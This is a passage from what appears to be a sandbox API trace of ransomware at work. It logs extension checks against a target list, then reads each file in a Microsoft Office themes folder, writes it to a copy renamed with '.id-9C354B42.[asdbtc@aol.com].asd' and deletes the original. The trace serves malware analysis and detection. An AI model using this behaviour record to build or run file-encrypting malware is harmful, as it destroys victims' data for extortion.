Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.375] lstrlenW (lpString=".doc") returned 4 [0054.375] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.375] lstrlenW (lpString=".docx") returned 5 [0054.375] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.375] lstrlenW (lpString=".pdf") returned 4 [0054.375] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.375] lstrlenW (lpString=".xls") returned 4 [0054.375] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.375] lstrlenW (lpString=".xlsx") returned 5 [0054.375] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.375] lstrlenW (lpString=".ppt") returned 4 [0054.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString=".zip") returned 4 [0054.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.376] lstrlenW (lpString=".rar") returned 4 [0054.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.376] lstrlenW (lpString=".bz2") returned 4 [0054.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.376] lstrlenW (lpString=".7z") returned 3 [0054.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString=".dbf") returned 4 [0054.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString=".1cd") returned 4 [0054.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString=".jpg") returned 4 [0054.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.376] lstrlenW (lpString=".doc") returned 4 [0054.376] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.376] lstrlenW (lpString=".docx") returned 5 [0054.376] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.376] lstrlenW (lpString=".pdf") returned 4 [0054.376] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.376] lstrlenW (lpString=".xls") returned 4 [0054.376] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.377] lstrlenW (lpString=".xlsx") returned 5 [0054.377] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.377] lstrlenW (lpString=".ppt") returned 4 [0054.377] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.377] lstrlenW (lpString=".zip") returned 4 [0054.377] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.377] lstrlenW (lpString=".rar") returned 4 [0054.377] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.377] lstrlenW (lpString=".bz2") returned 4 [0054.377] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.377] lstrlenW (lpString=".7z") returned 3 [0054.377] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.377] lstrlenW (lpString=".dbf") returned 4 [0054.377] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.377] lstrlenW (lpString=".1cd") returned 4 [0054.377] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0054.377] lstrlenW (lpString=".jpg") returned 4 [0054.377] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.377] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.377] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.378] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=18413) returned 1 [0054.378] CloseHandle (hObject=0x1f4) returned 1 [0054.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0054.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.378] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.378] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.379] GetLastError () returned 0x0 [0054.379] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0054.381] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0054.383] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.383] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.383] SetEndOfFile (hFile=0x1a8) returned 1 [0054.383] CloseHandle (hObject=0x1a8) returned 1 [0054.383] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.383] SetEndOfFile (hFile=0x1f4) returned 1 [0054.385] CloseHandle (hObject=0x1f4) returned 1 [0054.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0054.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.385] lstrlenW (lpString=".doc") returned 4 [0054.385] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.385] lstrlenW (lpString=".docx") returned 5 [0054.385] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.385] lstrlenW (lpString=".pdf") returned 4 [0054.385] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.385] lstrlenW (lpString=".xls") returned 4 [0054.386] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.386] lstrlenW (lpString=".xlsx") returned 5 [0054.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.386] lstrlenW (lpString=".ppt") returned 4 [0054.386] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString=".zip") returned 4 [0054.386] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.386] lstrlenW (lpString=".rar") returned 4 [0054.386] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.386] lstrlenW (lpString=".bz2") returned 4 [0054.386] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.386] lstrlenW (lpString=".7z") returned 3 [0054.386] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString=".dbf") returned 4 [0054.386] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString=".1cd") returned 4 [0054.386] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString=".jpg") returned 4 [0054.386] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.386] lstrlenW (lpString=".doc") returned 4 [0054.387] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.387] lstrlenW (lpString=".docx") returned 5 [0054.387] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.387] lstrlenW (lpString=".pdf") returned 4 [0054.387] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.387] lstrlenW (lpString=".xls") returned 4 [0054.387] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.387] lstrlenW (lpString=".xlsx") returned 5 [0054.387] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.387] lstrlenW (lpString=".ppt") returned 4 [0054.387] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.387] lstrlenW (lpString=".zip") returned 4 [0054.387] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.387] lstrlenW (lpString=".rar") returned 4 [0054.387] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.387] lstrlenW (lpString=".bz2") returned 4 [0054.387] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.387] lstrlenW (lpString=".7z") returned 3 [0054.387] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.387] lstrlenW (lpString=".dbf") returned 4 [0054.387] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.387] lstrlenW (lpString=".1cd") returned 4 [0054.387] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0054.387] lstrlenW (lpString=".jpg") returned 4 [0054.387] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.388] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.388] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.388] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1659) returned 1 [0054.388] CloseHandle (hObject=0x1f4) returned 1 [0054.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0054.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.389] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.389] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.853] GetLastError () returned 0x0 [0054.853] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x67b, lpOverlapped=0x0) returned 1 [0054.854] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x680, lpOverlapped=0x0) returned 1 [0054.855] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.856] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.856] SetEndOfFile (hFile=0x1dc) returned 1 [0054.856] CloseHandle (hObject=0x1dc) returned 1 [0054.856] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.856] SetEndOfFile (hFile=0x1f4) returned 1 [0054.857] CloseHandle (hObject=0x1f4) returned 1 [0054.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0054.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString=".doc") returned 4 [0054.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.858] lstrlenW (lpString=".docx") returned 5 [0054.858] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.858] lstrlenW (lpString=".pdf") returned 4 [0054.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.858] lstrlenW (lpString=".xls") returned 4 [0054.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.858] lstrlenW (lpString=".xlsx") returned 5 [0054.858] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.858] lstrlenW (lpString=".ppt") returned 4 [0054.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString=".zip") returned 4 [0054.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.858] lstrlenW (lpString=".rar") returned 4 [0054.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.858] lstrlenW (lpString=".bz2") returned 4 [0054.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.858] lstrlenW (lpString=".7z") returned 3 [0054.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString=".dbf") returned 4 [0054.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString=".1cd") returned 4 [0054.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.858] lstrlenW (lpString=".jpg") returned 4 [0054.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString=".doc") returned 4 [0054.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.859] lstrlenW (lpString=".docx") returned 5 [0054.859] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.859] lstrlenW (lpString=".pdf") returned 4 [0054.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString=".xls") returned 4 [0054.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString=".xlsx") returned 5 [0054.859] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.859] lstrlenW (lpString=".ppt") returned 4 [0054.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString=".zip") returned 4 [0054.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString=".rar") returned 4 [0054.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.859] lstrlenW (lpString=".bz2") returned 4 [0054.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.859] lstrlenW (lpString=".7z") returned 3 [0054.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString=".dbf") returned 4 [0054.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString=".1cd") returned 4 [0054.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0054.859] lstrlenW (lpString=".jpg") returned 4 [0054.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.860] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.860] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.860] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1439) returned 1 [0054.860] CloseHandle (hObject=0x1f4) returned 1 [0054.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0054.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.865] GetLastError () returned 0x0 [0054.865] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x59f, lpOverlapped=0x0) returned 1 [0054.867] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0054.868] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.868] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.869] SetEndOfFile (hFile=0x1dc) returned 1 [0054.869] CloseHandle (hObject=0x1dc) returned 1 [0054.869] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.869] SetEndOfFile (hFile=0x1f4) returned 1 [0054.870] CloseHandle (hObject=0x1f4) returned 1 [0054.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.870] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 